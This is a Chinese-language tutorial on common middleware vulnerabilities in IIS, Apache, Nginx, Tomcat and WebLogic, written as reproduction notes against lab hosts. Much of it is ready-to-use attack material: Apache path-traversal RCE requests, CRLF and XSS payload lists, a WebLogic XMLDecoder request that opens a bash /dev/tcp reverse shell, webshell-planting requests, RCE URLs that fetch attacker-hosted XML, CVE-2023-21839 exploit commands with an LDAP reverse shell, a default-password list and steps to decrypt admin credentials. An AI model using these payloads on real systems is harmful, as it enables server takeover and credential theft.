中间件常见漏洞

文章目录

中间件漏洞
- IIS
- - 文件解析漏洞
  - - 1：/xx.asp/xx.jpg 、/xx.asa/xx.jsp
    - 2：xx.asp;.jpg
    - 3：xx.asa、xx.cer、xx.cdx
    - 4：IIS.7/8 + CGI配置不当=解析漏洞
- Apache
- - 文件解析漏洞
  - - 1：apache2.2版本解析漏洞
    - 2：其余配置问题导致漏洞
    - 3：黑名单绕过 .htaccess
    - 4：\0A HTTPD换行解析漏洞(CVE-2017-15715)
  - Apache 2.4.49/2.4.50路径穿越（CVE-2021-41773/42013）
- Nginx
- - 文件解析漏洞
  - - 1：nginx配置不当+cgi开启=解析漏洞
    - 2：%00 或 %20截断
  - CRLF注入（%0d%0a）
  - 目录遍历（穿越）
- Tomcat
- - 文件上传漏洞(CVE-2017-12615)
  - 文件包含漏洞(CVE-2020-1938)
  - 弱口令导致war远程部署getshell
- Weblogic
- - 弱口令
  - 任意文件读取漏洞
  - XMLDecoder反序列化漏洞(CVE-2017-10271)
  - - 1.反弹shell
    - 2.植入webshell
  - 任意文件上传漏洞(CVE-2018-2894)
  - 管理控制台未授权(CVE-2020-14882)
  - 远程命令执行漏洞(CVE-2020-14883)
  - 未授权远程代码执行漏洞(CVE-2023-21839)

中间件漏洞

IIS

文件解析漏洞

IIS 5.x-6.x 解析漏洞

1：/xx.asp/xx.jpg 、/xx.asa/xx.jsp

漏洞原理：.asp或者 .asa目录名字，这些目录下服务器会将其中所有文件视为asp解析。比如：http://xxx.xxx.xxxx/xxx.asp/a.jpg，a.jpg会当成asp解析，原因是在.asp目录下。
影响版本：IIS 5.x-6.x

2：xx.asp;.jpg

原理：IIS6.0版本以下，会将 “ 1.asp ;.jpg ” 文件名从前往后读 结果就是当作 ASP文件解析。结合下面的文件后缀解析漏洞，可以将asp换成其他后缀同样在影响版本内能够解析。
即：*.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件，就可以通过服务器校验，并且服务器会把它当成asp文件执行。
影响版本：IIS6.0版本以下

3：xx.asa、xx.cer、xx.cdx

其他文件后缀名解析，被运维人员疏漏掉的名单。

原理：asp.dll解析执行这三种文件，所以漏洞引发的是asp.dll文件
影响版本：配置出错导致，无关版本问题

下面解释一下文件后缀：

asa 全局配置文件
解释：相当于全局变量，可以被一个web应用程序中所有asp文件访问到，里面可以写变量以及函数等等，所以说这个也可以当成asp文件进行解析。
cer 证书
证书文件也能够被IIS解析，可自行配置解析哪些文件。
.cdx 文件
复合索引文件

4：IIS.7/8 + CGI配置不当=解析漏洞

这里很容易和nginx的解析漏洞搞混，IIS单单cgi开启就可能导致漏洞，而nginx需要配合配置文件不当。
访问方式：webshell.jpg/xxx.php
与Nginx cgi开启配置不当一同理解效果更好
(在IIS 中需要配置很多东西，比较难出现，但是测试的时候发现在版本内不妨可以尝试一下，但是对于nginx，配合上nginx的配置不当就影响很大了)

原理：webshell.jpg/xx.php 会将webshell.jpg的内容当成php程序进行解析，这时候由于最后的那一个.php。
漏洞前提：cgi.fix_pathinfo=1
且恰好php.ini里默认cgi.fix_pathinfo=1，所以漏洞现如今还是有可能存在的，对其进行访问的时候，在URL路径后添加.php后缀名会当做php文件进行解析，漏洞由此产生。
影响版本：IIS.7~8

Apache

文件解析漏洞

apache解析漏洞

1：apache2.2版本解析漏洞

漏洞原理
(多后缀名解析，老版本通杀漏洞)
test.php.php123：文件解析规则是从右到左解析，有不可解析识别的就继续往左识别，因此上传文件可以通过该漏洞进行绕过，然后访问的时候正好符合了apache的解析漏洞。（现在还有很多网站还有该问题）
比如在apache2.2版本之前是能够直接将test.php.xxx解析成php文件执行的。（但是也不妨一试现在的网站，因为这个解析漏洞影响十分之大）

比如利用该漏洞可以打7z，漏洞影响下apache能解析xx.php.7z
这个可能还真的很容易被人忽略可能会将7z加进白名单或者没有加上黑名单等等，有的版本可以有的版本不可以，在版本2.2之前都行
注：目前还测试了apache5.2.17是能直接解析.php.7z后缀名的文件。
(记住，一定是 .php.7z 后缀名能够当成php解析，还要特定的版本，反正都试一下准没错，不一定说7z就能过)
影响版本：apache 2.2

2：其余配置问题导致漏洞

漏洞原理：

AddHandler php5-script
（1）如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要 文件名里包含.php 即使文件名是test2.php.jpg 也会以 php 来执行。
AddType application/x-httpd-php
（2）如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以 php 方式执行xx.jpg
(但是这种情况比较少出现)

影响版本：配置问题，无关版本

修复方案：
1.apache配置文件，禁止.php.这样的文件执行，配置文件里面加入
（php3 是防止其他文件后缀名也被解析，这里用了 | 或符号，所以可以自行添加）

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>

2.用伪静态能解决这个问题，重写类似.php.*这类文件，打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
步骤如下：
把httpd.conf文件内下图中的 #号去掉—>重启apache—>在网站根目录下建立.htaccess文件：

下面步骤是把httpd.conf #号去掉

下面是.htaccess文件代码

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

3：黑名单绕过 .htaccess

漏洞原理：
黑名单绕过 .htaccess 和文件名叠加特性绕过（分布式配置文件）
精确控制能被解析成php代码的文件，不容易被发现
只要文件名匹配到所定义的字符串，就会将该文件当作php解析

1 <FilesMatch "自定义.gif">
2 SetHandler application/x-httpd-php   #在当前目录下，如果匹配到自定义.gif文件，则被解析成PHP代码执行
3 AddHandler php5-script .gif          #在当前目录下，如果匹配到自定义.gif文件，则被解析成PHP代码执行
4 </FilesMatch>

影响版本：上传绕过，无关配置

4：\0A HTTPD换行解析漏洞(CVE-2017-15715)

漏洞说明说在前头：注意访问的时候需要添加上%0a，这一点很重要！

CVE-2017-15715的出现是由于apache 在修复第一个后缀名解析漏洞时，
使用 正则表达式匹配后缀，在解析php时xxx.php\x0A 将被php后缀进行解析，
导致绕过一些服务器的安全策略，影响版本Apache HTTPd 2.4.0~2.4.29。

漏洞原理
apache这次解析漏洞的根本原因为$，在正则表达式中，$用来匹配字符串结尾位置。但是如果在HTTPD的配置中设置了RegExp对象的Multiline属性，则 $ 也匹配 \n 或 \r 。要匹配$字符本身，请使用 \$ 。就导致如果在上传文件时，在文件名后面添加一个十六进制的换行符 \x0A ，比如 1.php\x0A ，也能被正常解析，并且能够绕过系统的黑名单检测。所以理论上只要使用正则来匹配文件后缀名，就有可能存在该漏洞。在影响版本中，默认的Apache配置即可利用。

总而言之：是因为apache正则匹配可以匹配回车或换行符，当我们加上\x0a的时候php\x0a不在黑名单内，就是绕过黑名单检测，绕过后因为apache又能够且正常解析，即能把.php\x0a当成php文件，因为\x0a是换行而不是后缀名中的最终解析成功了。
说白了就是.php\x0a根本不在黑名单后缀名内，但是apache又能正常解析，所以就导致了漏洞。

抓包通过修改文件名后十六进制加一个\x0A即可
在这里插入图片描述
注意访问的时候需要添加上%0a，这一点很重要！再提一遍！

影响版本：2.4.0~2.4.29

下面小小的总结一下以及贴出修复方案，apache上传木马文件思路就是：

1：先看看是否是2.2版本之前。从右往左解析到有能解析的后缀名就解析，比如：test.php.xxx

2：或许运维人员配置了 AddHandler php5-script .php尝试上传xx.php.jpg等等只要包含又.php即可解析 。

3：又或者多尝试几个后缀名jpg/png/php1/php2/php3等等，或许运维人员就AddType application/x-httpd-php .jpg添加了这些扩展名为解析文件。

4：可以尝试上传.htaccess文件看是否能够成功上传。

以上就是apache常见的文件解析漏洞

Apache 2.4.49/2.4.50路径穿越（CVE-2021-41773/42013）

讲解之前一定要记住，穿越的前提是需要知道访问的目录是一个存在且可访问的目录。这就是为什么大多数人复现的时候都带上了/icons/和/cgi-bin/文件夹

漏洞原理
ap_normalize_path函数在对路径参数进行url解码，然后判断第一个字符是否是.，如果是.的话就会继续判断后两个字符是否为./，即这两步骤就是否存在…/的路径穿越符。
但！我们协商.%2e/的时候，进入第二次判断.后面两个字符是否是./的时候检测到时%2，而不是./，那么就成功绕过进行目录穿越了。

网上没看到有人讲为什么解码后不应该是…/然后进行判断的时候肯定是过不了的，为什么会造成这个漏洞？？？

注意：这里我提问了gpt，给出的解释是因为解码后的url路径和进行判断的url路径值不一致，也就说解码后的路径没有用来判断，否则解码后的肯定是…/，进行判断的而是.%2e/所以导致判断后两个字符的时候出现了漏洞。。。
GPT：解码后的路径可能并没有及时影响到路径检查的逻辑，导致原始的 %2e 和解码后的 . 在不同步骤中分别被处理，这正是导致漏洞的根本原因。

漏洞复现（直接无脑用payload就行了）
icons目录
/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd

实测%2e%2e也可以，因为还是老样子，后面判断./不成功就造成漏洞了

cgi-bin目录（RCE）
payload

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
Host: 192.168.29.140:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo;id

这个需要echo;，然后加上你要执行的命令 在这里插入图片描述

同理2.4.50版本后的漏洞同样可以实现该效果

漏洞原理
（注意是将%2e中的2e进行二次编码）
二次编码：. -> %2e->%%32e
解码的时候：%32e->2e 那么 %%32e->%2e
apache具体解码底层就不深究了，这里有大佬的文章：https://xz.aliyun.com/t/10359
漏洞复现
/icons/目录存在，可以读取，没问题

实测%%32e%%32e可行

同理POST执行RCE也是可行

Nginx

文件解析漏洞

1：nginx配置不当+cgi开启=解析漏洞

先看原理
nginx配置不当且cgi开启，比如上传了图片马webshell.jpg，
我们只需要在访问webshell.jpg的时候改成访问webshell.jpg/xx.php，
这里解析原理为：
当nginx看到访问的是php文件，就直接交给fastcgi处理，然后fastcgi又把这个交给php解析器处理，那么解析器处理的时候没有找到xx.php，然后就往上层目录找文件，就把webshell.jpg当成php文件解析了，因为本来就是php解析器找，所以肯定会当成php直接解析了，漏洞已成。

访问方式：webshell.jpg/xxx.php
（注：这里和IIS7/8的漏洞一样 CGI配置不当，一同理解效果更好，也是webshell.jsp/xx.php，但是nginx中需要再配合上nginx.conf配置不当）
该漏洞与nginx、php版本无关，属于配置不当造成的解析漏洞。
当php.ini配置文件中开启了cgi.fix_pathinfo，该值默认为1，表示开启。

这是因为cgi.fix_pathinfo开启了，然后故意访问一个不存在的php后缀名文件，然后cgi.fix_pathinfo就会自动的向上一级目录访问，第一个访问的文件是php，所以接下来都会把文件当成php来解析了。

在这里插入图片描述
但是我们加上一个不存在的文件，但是后缀名必须是php，然后cgi发现没有该文件，往前找就找到web，但是由于一开始是希望访问php的，所以直接把web.jpg当成php解析了。这个漏洞影响范围很大。

修复方案如下：
1.修改php.ini文件，将cgi.fix_pathinfo的值设置为0
2.在Nginx配置文件中添加以下代码：

if ( $fastcgi_script_name ~ ..*/.*php ) {
 return 403;
}

2：%00 或 %20截断

nginx也有这个00截断漏洞：www.xxxx.com/UploadFiles/image/1.jpg%00.php
xxx.jpg%00.php (因为在Nginx影响版本内存在空字节代码执行漏洞)
http://.../1.jpg/%00\0.php
%00不行的话试试%20，%20也算是00截断的一种

www.xxxx.com/UploadFiles/image/1.jpg%00.php 
#我们试过这个00截断，除了apache之外，nginx也有这个00截断漏洞,这个导致的效果是：1.jpg会被当成php文件来解析。
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php #这样也算是00截断的一种，不行的时候试试这种。

影响版本
Nginx 0.8.41-1.4.3 、Nginx 1.5 -1.5.7

CRLF注入（%0d%0a）

CRLF Injection 又叫 HTTP 响应拆分/截断

CRLF 是 CR 和 LF 两个字符的拼接，它们分别代表 “回车+换行”（\r\n）
十六进制编码分别为0x0d 和 0x0a

漏洞危害：(根据插入的 CRLF 的个数不同)
- 任意设置响应头
- 任意设置正文内容，如xss
- 缓存病毒、日志伪造等
解释：为什么会这么多危害？
首先%0d%0a是回车换行，加在url中的时候，nginx配置中使用了$uri或者$document_uri来拼接，导致我们的回车换行起了作用，最终可以在响应中设置键值对且自定义响应正文(自定义响应正文多加一个回车换行即可)
如图所示，解码后就是多了一行换行，那么我们自定义内容就可以去到正文中，来个xss弹框了~
漏洞复现
- 添加响应头
  抓包填入：/%0aSet-Cookie:hacker%3dwtf
  存在漏洞的话就会发现响应包中已经被我们控制了键值对
- xss弹框
  抓包填入：/%0a%0a<script>alert(/xss/)</script>
  两个%0a填入就可以多一行，我们控制的内容就进入到正文中了。

注：测试后发现%0d为回车不会换行，所以只填%0d是不成功的，可以看到就算两个%0d都是失败，因为%0d是回车，回车是回到开头，但因为location已在，所以无法删除location就追加在后头了。但是可以两个配合用，比如两个%0a%0dxxx%0a%0d这样，如果单个%0a方式失败可以试试%0a%0d两个一起上(%0d%0a的顺序不影响效果)
在这里插入图片描述

联动打xss
这里可以结合设置响应头来完美打xss
因为有的浏览器会默认防护一些反射型的xss，我们可以通过这个漏洞设置一个：X-XSS-Protection: 0 ，那么浏览器就会关闭防护，我们的xss就完美打成功了。比如之前新浪就有这个漏洞。
抓包填入：/%0a%0dX-XSS-Protection:%200%0a%0d%0a%0d<script>alert(/xss/)</script>

以下是一些CRLF注入的payload

#探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

#开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header

#CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSSProtection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%
0a/%2e%2e

#XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContentLength:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

//Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

漏洞原理
因为$uri拼接的时候会解码，所以导致我们的回车换行生效了，导致CRLF注入成功。（同理$document_uri也是会解码）
漏洞防御

1、对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的 CR
和 LF，或者对 CR 和 LF 字符正确编码后再输出，以防止注入自定义HTTP头
2、创建安全字符白名单，只接受白名单中的字符出现在 HTTP 响应头文件中
3、在将数据传送到 http 响应头之前，删除所有的换行符

目录遍历（穿越）

这个经常会出现在nginx做反向代理的时候出现，就上面讲过的文件解析漏洞原理提到过的流程，就是动态的比如php文件nginx不会直接处理，是先交给后端，然后静态的就直接去目录下找文件。
（这里我们的挖掘漏洞的时候可以翻一下静态存储文件的目录比如static之类的，可以尝试一下是否有目录穿越漏洞）

漏洞原理
原因是alias设置目录的别名，然后files和home/中files少了/，导致…/转到home中的时候返回了上一级。
漏洞复现

Tomcat

文件上传漏洞(CVE-2017-12615)

漏洞原理：
/conf/web.xml 配置了可写（readonly=false），那么PUT方法即允许上传任意文件。
影响版本：Apache Tomcat 7.0.0 – 7.0.81

漏洞复现：
抓包修改请求方法为OPTIONS，访问路径随便访问一个，不要为空即可
在这里插入图片描述

OPTIONS /aaa HTTP/1.1
Host: 192.168.29.140:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
x-originating-ip: 127.0.0.1
x-forwarded-for: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
x-client-ip: 127.0.0.1
Connection: close

PUT 方法传入文件，可以尝试直接往web应用的根目录传入jsp文件
在这里插入图片描述

直接访问即可看到成功创建。
在这里插入图片描述

文件包含漏洞(CVE-2020-1938)

漏洞原理
默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于AJP在设计上存在漏洞，发送恶意请求达到任意文件读取。（有大佬写了利用脚本）
影响版本：（以下版本前提是开启了8009端口的AJP服务）
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

漏洞复现

#脚本下载地址：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi 
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.29.140 -p 8009 -f /WEB-INF/web.xml

在这里插入图片描述

弱口令导致war远程部署getshell

漏洞原理
弱口令进入后台，通过后台上传war木马部署应用程序getshell
影响版本：无关版本，弱口令导致。
漏洞复现
这里知道弱口令进入后（默认账号密码：tomcat/tomcat），生成一个木马来getshell。

使用哥斯拉生成一个马子，记得切换java，不然无法解析

接着将这个马子压缩成zip->然后将zip改后缀为war
(最终是这样的，切记是先压缩后将zip改后缀)

点击上传

成功上传

检验是否上传成功且查看是否可连接
访问：/ws/ws.jsp
解释：因为你上传的是ws压缩包，虽然是war但是也还是zip，你压缩包里面是ws.jsp所以就访问时候加一层ws.jsp，如果你压缩的文件名不一样就自己改就行了。

连接成功

补充：
可以看到下面我访问的是/ok/fuck.jsp，很明显我打包zip包是ok.zip然后里面是fuck.jsp，然后上传的时候改后缀为ok.war，所以访问的时候得/ok/fuck.jsp，所以不要局限于上面一样的名字。（这里的解释以便后续复习）
在这里插入图片描述

Weblogic

弱口令

访问 /console，自动跳转到登录页面，以下是一些可尝试的weblogic弱口令
在这里插入图片描述

weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/weblogic123
weblogic/weblogic2
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic

在这里插入图片描述

任意文件读取漏洞

漏洞原理
路径下存在任意文件读取： /hello/file.jsp?path=/etc/passwd
影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞复现
利用该漏洞可以读取到后台登录的密码（用户名在读取confi文件的时候就有写）
下面先尝试读取/etc/passwd
http://192.168.29.140:7001/hello/file.jsp?path=/etc/passwd

接着就可以读取密文文件了
原理是：
- 读取配置文件拿到加密密钥:
  /root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
- 读取密文文件内容（即加密后的密码）
  /root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
  注：该文件需要使用抓包工具抓包然后将文件内容另存为.dat文件，否则直接任意文件读取出来的可能会有干扰。
- 接着拿着密文文件内容和密钥使用工具进行解密：
  https://github.com/TideSec/Decrypt_Weblogic_Password

复现如下
任意文件读取：/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
直接复制出来密钥：
（其实密钥上面的标签里面内容 weblogic 就是对应的用户名）
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
在这里插入图片描述
任意文件读取：
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

选中内容右键保存在文件中

本应该填入密钥和密文文件就能解密来着，但是很遗憾我这里bp读取出来失败了，我还是去浏览器下载了
在这里插入图片描述
这里下载下来的文件需要删除两个回车才能解密成功

填入密钥和密文文件

XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞原理
Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
影响版本
weblogic 10.3.6.0
weblogic 12.1.3.0.0
weblogic 12.2.1.1.0

漏洞复现

1.反弹shell

随便抓个包修改为POST，路径改为/wls-wsat/CoordinatorPortType
数据包如下所示

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.29.140:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: text/xml
Content-Length: 641

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.29.140/4445 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

其中反弹的ip地址和端口号自己修改

在这里插入图片描述
然后开启监听

发送后就会看到反弹回来的shell

2.植入webshell

抓包填入如下数据包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.29.140:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 655

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("fxxxxxxxxxxxxxxxxxxxk"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

自己修改这里的代码，可以写入webshell，这里就随便写入一个输出文件
在这里插入图片描述
访问的路径为：/bea_wls_internal/test.jsp

任意文件上传漏洞(CVE-2018-2894)

漏洞原理
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，可直接获取服务器权限。两个页面分别为**/ws_utc/begin.do、/ws_utc/config.do**。
Oracle 在2018年7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，WebService Test Page 在’‘生产模式’’ 下默认不开启，所以该漏洞有一定限制。
最终导致漏洞的是因为登录后台后将测试页面开启，然后访问可以上传文件的页面：/ws_utc/begin.do、/ws_utc/config.do，设置一下目录(反正按照教程来设置就行)，然后上传keystore文件，访问即可解析木马。
影响版本
Weblogic : 10.3.6.0
Weblogic : 12.1.3.0
Weblogic : 12.2.1.2
Weblogic : 12.2.1.3
漏洞复现
首先找到后台登录密码，这里直接通过docker过滤密码出来
docker-compose logs | grep password

登录进去后找到base_domain点击

然后找到Advanced点击展开，然后找到下面的开启测试页面

打钩后记得往下滑保存

访问 http://192.168.0.27:7001/ws_utc/config.do ，设置Work Home Dir为：/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
将其设置为ws_utc 应用的静态文件css目录，访问这个目录是无需权限的。

设置完成后点击安全进行设置

点击ADD添加keystore，name和password可以随便填，主要是要上传好你的webshell木马

点击上传之前记得抓包

放到重放器或者你直接抓取这个响应包
这里我放到重放器发包，响应包中回应了一个时间戳

访问路径为：/ws_utc/css/config/keystore/1726076168614_csits.jsp 后面要访问的文件名是你上传文件响应回来的时间戳然后拼接上文件名就成功访问了。

妥妥拿下

管理控制台未授权(CVE-2020-14882)

漏洞原理
这里附上大佬的解析：https://www.cnblogs.com/MoZiYa/p/16690190.html
像我这种脚本小子只需要知道直接访问：/console/css/%252e%252e%252fconsole.portal
第一次访问可能会不成功，试了很蛮多版本都会出现这个问题，多试几次即可。
影响版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
漏洞复现

远程命令执行漏洞(CVE-2020-14883)

漏洞原理
配合未授权访问漏洞可以打一个远程命令执行。
CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本
由于和14882漏洞是一起爆的，所以影响版本一样。
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
漏洞复现
weblogic 12.2.1以上版本
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
命令注入地方修改最后exec即可 touch%20/tmp/success1
原因是：因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession 类，所以只能 weblogic 12.2.1以上版本利用
通杀方法
该方法需要构造一个xml文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

把该文件放在weblogic能够访问的服务器上（缺点就是xml可能对于有waf限制的weblogic访问不到）
在这里插入图片描述
访问前查看一下确保不存在/tmp/success2文件

接着直接访问xml就会创建/tmp/success2文件
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.29.161/a.xml")
在这里插入图片描述
然后可以回到后台查看发现成功创建

因此可以通过该远程命令执行反弹shell
先监听

然后在服务器上写上反弹shell的xml文件
在这里插入图片描述
然后在漏洞网站访问：http://192.168.29.140:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.29.161/b.xml%22)

然后就可以发现已经成功拿到shell了
在这里插入图片描述

未授权远程代码执行漏洞(CVE-2023-21839)

漏洞原理
因为weblogic支持t3和iiop协议绑定远程对象，然后绑定的远程对象是ForeignOpaqueReferent的话，客户端通过jndi查询的时候，服务端其实是调用了远程对象的getRefernet函数进行实例化，然后在这个函数里面进行了lookup查找，查找的是remoteJNDIName，这个就是漏洞点，我们可以通过反射机制修改这个remoteJNDIName，也就是说可以控制使用rmi或者ldap协议进行远程执行代码。
影响版本
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
漏洞复现
首先对存在漏洞的weblogic网站进行jndi监听
工具地址：https://github.com/ugnoeyh/Log4shell_JNDIExploit
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.29.140

然后在你要接收指令的机器上开启nc监听

接着就是开启攻击了，使用exp工具：https://github.com/ASkyeye/CVE-2023-21839
./CVE-2023-21839 -ip <weblogic服务器ip> -port <weblogic端口> -ldap ldap://<你开启JNDI Ldap的ip>:1389/Basic/ReverseShell/<你nc监听的ip>/<nc监听端口>
注意：由于我JNDI开启的时候使用的是192.168.29.140，所以使用192.168.29.140，就算你是同一个机器上开启JNDI和exp工具的，在这个exp中的ldap中ip一定要和JNDI的一致，另外nc的ip和port记得修改你监听着的。
./CVE-2023-21839 -ip 192.168.29.140 -port 7001 -ldap ldap://192.168.29.140:1389/Basic/ReverseShell/192.168.29.140/4445
两个都监听准备就绪后就可以攻击了，回车后可以看到很迅速就拿到shell了